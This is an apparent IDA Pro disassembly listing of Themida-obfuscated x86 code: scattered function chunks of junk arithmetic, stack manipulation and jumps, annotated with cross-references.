loc_55D644: ; CODE XREF: sub_56CB1B-5FCCj
not ebx
inc ebx
xor ebx, 3481D3BDh
jmp loc_56EDFB
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
loc_55D652: ; CODE XREF: Themida_:0056A8E4j
sub esp, 4
mov [esp], edi
mov edi, 35C69B0h
add esi, edi
pop edi
sub esi, ebx
sub esi, 35C69B0h
sub esi, 20A8752Eh
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
push edx
mov edx, 4
add eax, 9F164EAh
jmp loc_55E63D
; ---------------------------------------------------------------------------
loc_55D68A: ; CODE XREF: Themida_:00561290j
sub esp, 4
mov [esp], ebx
mov ebx, 7FF5734Ah
or ebx, 2D353246h
inc ebx
inc ebx
push ebp
jmp loc_565776
; ---------------------------------------------------------------------------
loc_55D6A6: ; CODE XREF: Themida_:00569A2Ej
mov esp, [esp]
push eax
push esp
jmp loc_56BD31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D6B0: ; CODE XREF: sub_56755A-8D5j
sub bl, 96h
add bl, al
add bl, 96h
jmp sub_56626C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D6BD: ; CODE XREF: Themida_:0056DEADj
pop eax
sub cl, 2Ch
sub dl, cl
jmp loc_567E36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D6C8: ; CODE XREF: sub_56755A-8056j
neg ebx
jmp loc_55BC54
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55D6CF: ; CODE XREF: sub_56E89A-574Aj
pop edx
shr edx, 6
xor edx, 4B83243Dh
shl edx, 5
add edx, 0A8CA9D8Eh
mov eax, edx
pop edx
sub esp, 4
jmp loc_568E56
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D6ED: ; CODE XREF: sub_56755A-8327j
mov ebp, esi
pop esi
shl ebp, 8
push eax
jmp loc_56BACC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D6F9: ; CODE XREF: Themida_:0056C8A6j
mov ebp, 45D42E73h
jmp loc_56A754
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_55D703: ; CODE XREF: sub_56CD48-7AE4j
and ecx, 73A44523h
inc ecx
dec ecx
and ecx, 68993D44h
add ecx, 44650A22h
xor ebx, ecx
jmp loc_56F958
; END OF FUNCTION CHUNK FOR sub_56CD48
; =============== S U B R O U T I N E =======================================
sub_55D71E proc near ; CODE XREF: sub_56F653-498j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055D019 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055D277 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055EBBE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055F517 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00560A15 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005665B2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005669DD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00567544 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A58E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B8A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C80A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CDD0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056D7BA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D990 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F5C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FF68 SIZE 00000011 BYTES
sub esp, 4
mov [esp+4+var_4], esi
push ebp
push 7E5B598Bh
push [esp+0Ch+var_C]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
or ebp, 6CBE451Ch
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, 7EFF5D9Dh
jmp loc_55D277
sub_55D71E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_55D75A: ; CODE XREF: sub_562F50+292Aj
add edx, eax
pop eax
not edx
jmp loc_5657C6
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_55D764: ; CODE XREF: sub_56CEE9-B3AAj
add esp, 4
jmp loc_56069A
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D76F: ; CODE XREF: sub_56755A-A981j
mov cl, dh
not cl
mov dh, cl
jmp loc_56F2F9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D77A: ; CODE XREF: Themida_:0055CAB9j
sub ebp, 4
jmp loc_561A28
; ---------------------------------------------------------------------------
loc_55D782: ; CODE XREF: Themida_:005706B4j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55D787: ; CODE XREF: Themida_:00564312j
push ecx
mov ecx, 925192C2h
sub ebx, ecx
jmp loc_568FB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D794: ; CODE XREF: sub_56755A-A240j
or ebx, 43ED39E9h
jmp loc_56813E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_55D79F: ; CODE XREF: sub_568D4B-2456j
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp-4+arg_0], ebx
push eax
mov ah, dl
jmp loc_55E767
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_55D7C3: ; CODE XREF: Themida_:0057019Dj
sub esp, 4
jmp loc_567CA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D7CE: ; CODE XREF: sub_56755A-1E9j
xor ebx, [esp+28h+var_28]
xor [esp+28h+var_28], ebx
xor ebx, [esp+28h+var_28]
pop esp
mov [esp+24h+var_24], edx
jmp loc_55BC43
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55D7E0: ; CODE XREF: sub_56CB7D+1901j
mov ebx, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
add ecx, 5ACA1A14h
add ecx, ebp
jmp loc_56CFA9
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D803: ; CODE XREF: sub_56755A-B1B4j
xor bl, ah
mov ax, word ptr [esp+0Ah+var_C+2]
add esp, 2
add al, bl
mov ebx, [esp+6+var_8+2]
add esp, 4
push 6921h
mov [esp+6+var_8+2], ecx
push ebx
jmp loc_56F79B
; ---------------------------------------------------------------------------
loc_55D828: ; CODE XREF: sub_56755A+10D4j
; sub_56755A+8631j
push 6DBDh
mov [esp+0Eh+var_10+2], ebx
push [esp+0Eh+var_10+2]
pop eax
jmp loc_55E44E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D839: ; CODE XREF: Themida_:0055F7CFj
add al, bh
push cx
mov cl, 5Ah
jmp loc_56D825
; ---------------------------------------------------------------------------
loc_55D844: ; CODE XREF: Themida_:0055EA81j
pop esp
mov cx, [esp]
push 5AAh
mov [esp], eax
jmp loc_56AD44
; ---------------------------------------------------------------------------
loc_55D856: ; CODE XREF: Themida_:0056394Cj
xor ecx, ebx
pop ebx
jmp loc_569481
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_55D85E: ; CODE XREF: sub_56D83A-5329j
pop esp
push 33D3h
mov [esp-8+arg_0], eax
mov eax, 0B105CE5h
push ebp
push 56F14CCDh
mov ebp, [esp+0]
jmp loc_56FC3B
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D87A: ; CODE XREF: sub_56755A+5C91j
push 1D74h
mov [esp+12h+var_14+2], ecx
mov ecx, 15D809B9h
jmp loc_55C47A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D88C: ; CODE XREF: Themida_:0056D492j
pop esi
neg edi
add edi, 286907F3h
and edi, 4DCC173Eh
add edi, 0F6B7F902h
add [esp+4], edi
pop edi
mov esi, [esp]
add esp, 4
add esi, 4
sub esp, 4
mov [esp], edi
mov edi, 49A65CE5h
sub edi, 49A65CE3h
push ecx
jmp loc_566596
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D8CF: ; CODE XREF: sub_56755A+8590j
add esi, 4
add esi, 4
jmp loc_56CF13
; ---------------------------------------------------------------------------
loc_55D8E0: ; CODE XREF: sub_56755A-765Cj
mov esp, [esp+12h+var_14+2]
jmp sub_55EF75
; END OF FUNCTION CHUNK FOR sub_56755A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55D8EE: ; CODE XREF: Themida_:0055F68Cj
push edx
push 7DDB62CDh
pop edx
jmp loc_56A791
; ---------------------------------------------------------------------------
loc_55D8FA: ; CODE XREF: Themida_:0056B2B0j
push edx
jmp loc_55FF5B
; ---------------------------------------------------------------------------
loc_55D900: ; CODE XREF: Themida_:00567083j
mov ebp, 71925D27h
xor ebp, 5CF6600h
shr ebp, 6
or ebp, 41B5344Dh
sub ebp, 1FC71609h
or edi, ebp
pop ebp
inc edi
push esi
mov esi, 21F121Eh
dec esi
jmp loc_55D073
; ---------------------------------------------------------------------------
loc_55D92A: ; CODE XREF: Themida_:0055F5F5j
mov eax, 4
add edi, eax
jmp loc_56EA23
; ---------------------------------------------------------------------------
loc_55D936: ; CODE XREF: Themida_:005669D8j
btr [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_55D941: ; CODE XREF: sub_56D164-BBCFj
pop ecx
add ebp, esi
push 731h
mov [esp+4+var_4], ebx
mov ebx, 530F4608h
push ecx
mov ecx, 1FEE412Ch
or ebx, ecx
pop ecx
sub ebx, 0FFFFFFFFh
xor ebx, 107E58F9h
add ebp, ebx
pop ebx
pop esi
xchg ebp, [esp-4+arg_0]
jmp loc_56751C
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D96F: ; CODE XREF: sub_56755A+9255j
add esp, 4
jmp loc_55F314
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_55D977: ; CODE XREF: sub_561ED8-22E4j
pop edx
sub bl, al
sub bl, 68h
add bl, 6Ch
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_55D98B: ; CODE XREF: Themida_:0056E508j
add eax, 4
jmp loc_56A049
; ---------------------------------------------------------------------------
loc_55D993: ; CODE XREF: Themida_:00562AC1j
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55D9A0: ; CODE XREF: Themida_:0056E2CFj
pop edx
jmp loc_56AB6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_55D9A6: ; CODE XREF: sub_562F50+81D4j
mov [esp+0], eax
mov eax, 49C65BFCh
xor eax, 30C40DB4h
sub eax, 6745E2BAh
shr eax, 4
jmp loc_561993
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D9C0: ; CODE XREF: sub_56755A+7BFj
mov ecx, 354815F8h
sub ecx, 354815F4h
add edi, 3EA72C31h
add edi, ecx
sub edi, 3EA72C31h
pop ecx
push edi
push 7345h
jmp loc_56E555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D9E5: ; CODE XREF: Themida_:0056ACB4j
push edx
mov edx, 2
add eax, edx
pop edx
push eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
jmp loc_562102
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_55D9FC: ; CODE XREF: sub_56B62C-D915j
not ah
and ah, 7Fh
jmp loc_564E42
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673DF
loc_55DA06: ; CODE XREF: sub_5673DF-8C06j
mov ecx, [esp+0]
jmp loc_562678
; END OF FUNCTION CHUNK FOR sub_5673DF
; ---------------------------------------------------------------------------
loc_55DA0E: ; CODE XREF: Themida_:00561382j
push edi
mov edi, 49DC2413h
and edi, 86DF4h
xor edi, 59F10E42h
push eax
mov eax, 24194EA2h
xor edi, eax
pop eax
add eax, 68C123AEh
add eax, edi
sub eax, 68C123AEh
mov edi, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
mov cx, [esp]
sub esp, 4
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
jmp loc_56B6F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DA64: ; CODE XREF: sub_56755A+63B6j
pop esp
mov [esp+0Eh+var_10+2], edi
push [esp+0Eh+var_C+2]
pop edi
pop [esp+0Eh+var_10+2]
push [esp+0Ah+var_C+2]
mov eax, [esp+0Eh+var_10+2]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_568EF4
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55DA88 proc near ; CODE XREF: sub_56755A-1395j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055BBFD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C1D6 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0055E53A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055F1D5 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 00563CCD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056432C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005646D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005656D1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A295 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C526 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056F58F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056FC86 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570674 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00570717 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_56432C
sub_55DA88 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DA96: ; CODE XREF: sub_56755A-6328j
pop ecx
push [esp+0Eh+var_10+2]
pop ebp
add esp, 4
add esi, 1
push ecx
mov ecx, 52BD707Dh
sub ecx, 47AB2D94h
shr ecx, 7
add ecx, 7B5A63F5h
sub ecx, 983B1A00h
xor esi, ecx
mov ecx, [esp+0Eh+var_10+2]
add esp, 4
jmp loc_55E2A6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55DAC9: ; CODE XREF: Themida_:0055B754j
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
jmp loc_56B2E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DADA: ; CODE XREF: sub_56755A-8FC4j
mov ebp, 4
mov edi, ebp
pop ebp
push 7E57h
mov [esp+0Ah+var_C+2], eax
mov eax, 7E1910F0h
jmp loc_5667DD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_55DAF4: ; CODE XREF: sub_568D4B-850j
push esp
pop eax
push ecx
jmp loc_55BF4B
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_55DAFC: ; CODE XREF: Themida_:0055E9D6j
mov ecx, esi
pop esi
jmp loc_5637EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_55DB04: ; CODE XREF: sub_561C3A-262Dj
add esp, 4
jmp loc_566D50
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
loc_55DB0C: ; CODE XREF: Themida_:00562125j
mov esi, 66942306h
sub esi, 3861E943h
jmp loc_566671
; ---------------------------------------------------------------------------
loc_55DB1C: ; CODE XREF: Themida_:0055B61Ej
mov ecx, [esp]
jmp loc_560C76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DB24: ; CODE XREF: sub_56755A-A32Dj
mov eax, esp
sub esp, 4
mov [esp+24h+var_24], esi
push ecx
push 0D986035h
pop ecx
push edx
mov edx, 59C50527h
not edx
push eax
mov eax, 6C5C5A03h
sub edx, eax
pop eax
or edx, 77DA6A11h
and edx, 0E5C68D5h
add edx, 0C31039Ah
jmp loc_56C3FF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55DB5E: ; CODE XREF: Themida_:0055FF1Dj
pop ebx
sub esp, 4
mov [esp], esi
push edx
push 51C34F46h
pop edx
xor edx, 2C48011Dh
xor edx, 33597E68h
sub esp, 4
jmp loc_55F669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_55DB83: ; CODE XREF: sub_563616+5CE6j
xchg ebx, [esp+8+var_8]
mov esp, [esp+8+var_8]
div cx
jmp loc_568ACF
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55DBA1: ; CODE XREF: Themida_:0056D52Bj
push edi
jmp loc_5671D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_55DBA7: ; CODE XREF: sub_563973+23ADj
mov edi, esp
add edi, 4
push 6EF7h
mov [esp+4+var_4], ecx
mov ecx, 4
add edi, ecx
mov ecx, [esp+4+var_4]
add esp, 4
push edi
push dword ptr [esp+4]
mov edi, [esp+8+var_8]
jmp loc_567EB6
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DBD4: ; CODE XREF: sub_56755A+7234j
dec ebx
sub ebx, 4BFDA871h
mov esi, ebx
jmp loc_56B4B3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55DBE2: ; CODE XREF: Themida_:00568599j
mov [esp], ebp
push 2
jmp loc_56DA9D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565DC4
loc_55DBEF: ; CODE XREF: sub_565DC4+1j
push edi
sub esp, 4
mov [esp+0Ch+var_C], esi
mov esi, 22401360h
mov edi, esi
jmp loc_56808A
; END OF FUNCTION CHUNK FOR sub_565DC4
; ---------------------------------------------------------------------------
loc_55DC02: ; CODE XREF: Themida_:00564DDAj
pop ebx
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push 59C2h
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55D409
; ---------------------------------------------------------------------------
lodsd
push ebx
mov ebx, 3D27720h
push edx
mov edx, 0FFFFFFFFh
add ebx, edx
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 1
sub ebx, ebp
pop ebp
add ebx, 25C6BE9Eh
push edx
mov edx, 20A8752Eh
add esi, edx
jmp loc_56A8E3
; ---------------------------------------------------------------------------
loc_55DC62: ; CODE XREF: Themida_:0056529Fj
mov ebp, edx
pop edx
sub ecx, 2C622297h
jmp loc_55CDB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DC70: ; CODE XREF: sub_56755A+746Aj
push edi
jmp loc_567A0F
; ---------------------------------------------------------------------------
loc_55DC76: ; CODE XREF: sub_56755A-77D0j
mov esp, [esp+30h+var_30]
mov [esp+30h+var_30], ebp
mov ebp, 689450FCh
jmp loc_564CC0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55DC86: ; CODE XREF: Themida_:0056A7C1j
mov edx, 2
jmp loc_55F758
; ---------------------------------------------------------------------------
loc_55DC90: ; CODE XREF: Themida_:0056B73Cj
mov ebx, 211E325Bh
xor ebx, 2DE535A9h
sub ecx, ebx
mov ebx, [esp]
jmp loc_56D6C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_55DCA5: ; CODE XREF: sub_566504-1FFBj
xchg ecx, [esp+0]
jmp loc_56E2EE
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_55DCAD: ; CODE XREF: sub_56E75E+9j
mov ebp, 4
add esi, 15941116h
add esi, 7DE026CEh
jmp loc_567187
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
loc_55DCC3: ; CODE XREF: Themida_:00569F59j
push 55F0h
mov [esp], ebp
jmp loc_563F9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DCD0: ; CODE XREF: sub_56755A-15Fj
mov edx, esp
jmp loc_56ECA2
; ---------------------------------------------------------------------------
loc_55DCD7: ; CODE XREF: sub_56755A-14D5j
add ebx, edi
jmp loc_5631AB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_55DCDE: ; CODE XREF: sub_560B67-40C8j
add ebp, edi
pop edi
sub ebp, 4
xchg ebp, [esp+8+var_8]
jmp loc_5621E7
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
loc_55DCEF: ; CODE XREF: Themida_:0055B64Dj
dec ebx
jmp loc_56E5AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DCF5: ; CODE XREF: sub_56755A-5232j
push [esp+30h+var_30]
pop esi
add esp, 4
xor edx, eax
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55DD03: ; CODE XREF: sub_56755A+8D66j
push [esp+2Ch+var_2C]
mov ecx, [esp+30h+var_30]
push eax
mov eax, esp
jmp loc_56BDC0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_55DD11: ; CODE XREF: sub_56B62C-DF5j
inc ah
dec ah
dec ah
jmp loc_55D9FC
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_55DD1C: ; CODE XREF: sub_56A500-E141j
mov [esp+0Ch+var_C], edi
push esp
pop edi
push edx
jmp loc_5653C7
; END OF FUNCTION CHUNK FOR sub_56A500
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_55DD27 proc near ; CODE XREF: sub_55EAC4+6B36j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F7AD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00561D4C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562874 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565902 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BF80 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FCF3 SIZE 0000000D BYTES
push ebp
mov ebp, esp
push ebx
mov ebx, 69535B44h
push eax
mov eax, 3E82352Fh
dec eax
and eax, 71C74BFFh
shr eax, 6
shr eax, 8
or eax, 5A4A1CEDh
xor eax, 331985ADh
jmp loc_562874
sub_55DD27 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DD51: ; CODE XREF: sub_56755A-5DECj
xor edi, [esp+34h+var_34]
jmp loc_565F3D
; ---------------------------------------------------------------------------
loc_55DD59: ; CODE XREF: sub_56755A+4A42j
mov edi, edx
pop edx
jmp sub_56BA15
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55DD61: ; CODE XREF: Themida_:0056EF7Fj
pop ebx
dec ch
push ebx
mov bl, ch
not bl
mov ch, bl
pop ebx
shr ch, 6
push eax
push ecx
mov ch, 55h
xor ch, 7Ch
mov ah, ch
jmp loc_56868D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA40
loc_55DD7D: ; CODE XREF: sub_56AA40+6j
mov esi, ebp
mov ebp, [esp+4+var_4]
jmp loc_56DFDF
; END OF FUNCTION CHUNK FOR sub_56AA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55DD87: ; CODE XREF: sub_56CB7D+3ABEj
xchg edi, [esp+0Ch+var_C]
jmp loc_560364
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DD8F: ; CODE XREF: sub_56755A+7435j
pop ebx
pop ebx
push ecx
push edx
push ebx
mov ebx, 5A9C0990h
or ebx, 3EF0BB7h
add ebx, 34527097h
or ebx, 298547FBh
add ebx, 462A8003h
jmp loc_56F3A3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_55DDB6: ; CODE XREF: sub_5B3505-47F47j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+2Eh+var_2E]
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
jmp sub_56755A
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_55DDD3: ; CODE XREF: sub_56F653-B1F1j
push ecx
jmp loc_56A3D0
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DDD9: ; CODE XREF: sub_56755A-AF2Fj
add ebx, 7F891F62h
add ebx, 0AFA398Bh
add edx, ebx
pop ebx
add esi, 25E23890h
add esi, edx
jmp loc_56EA18
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_55DDF5: ; CODE XREF: sub_56E55E-3418j
add esi, 4
sub esi, 4
xchg esi, [esp+8+var_8]
jmp loc_56CD2B
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56970A
loc_55DE09: ; CODE XREF: sub_56970A-8E82j
xor eax, 0EF07B0E5h
sub esi, eax
pop eax
mov edx, [esp+0]
jmp sub_56EF52
; END OF FUNCTION CHUNK FOR sub_56970A
; ---------------------------------------------------------------------------
loc_55DE19: ; CODE XREF: Themida_:0056FC36j
pop ecx
xor ebp, eax
mov eax, [esp]
jmp loc_561F4F
; ---------------------------------------------------------------------------
loc_55DE24: ; CODE XREF: Themida_:0055C113j
div cl
movzx cx, ah
push small 1883h
mov [esp], cx
jmp loc_56AE25
; =============== S U B R O U T I N E =======================================
sub_55DE37 proc near ; CODE XREF: sub_55EA9F+9E8Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0055C08A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561928 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005663F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568516 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056F1E2 SIZE 00000018 BYTES
sub esp, 4
mov [esp+0], edx
push [esp+arg_0]
pop edx
jmp loc_55C08A
sub_55DE37 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_55DE4A: ; CODE XREF: Themida_:0056AAECj
dec eax
not eax
sub eax, 0BFD4211Bh
sub ecx, eax
pop eax
push dword ptr [esp]
pop eax
add esp, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
xor bl, al
push edx
push 1C5Fh
mov [esp], edi
mov edi, 1C3831D0h
mov edx, 1C383208h
sub edx, 74145E11h
sub edx, 408177C8h
sub edx, edi
add edx, 408177C8h
add edx, 74145E11h
pop edi
push edi
mov edi, 23E75EFEh
sub edx, edi
pop edi
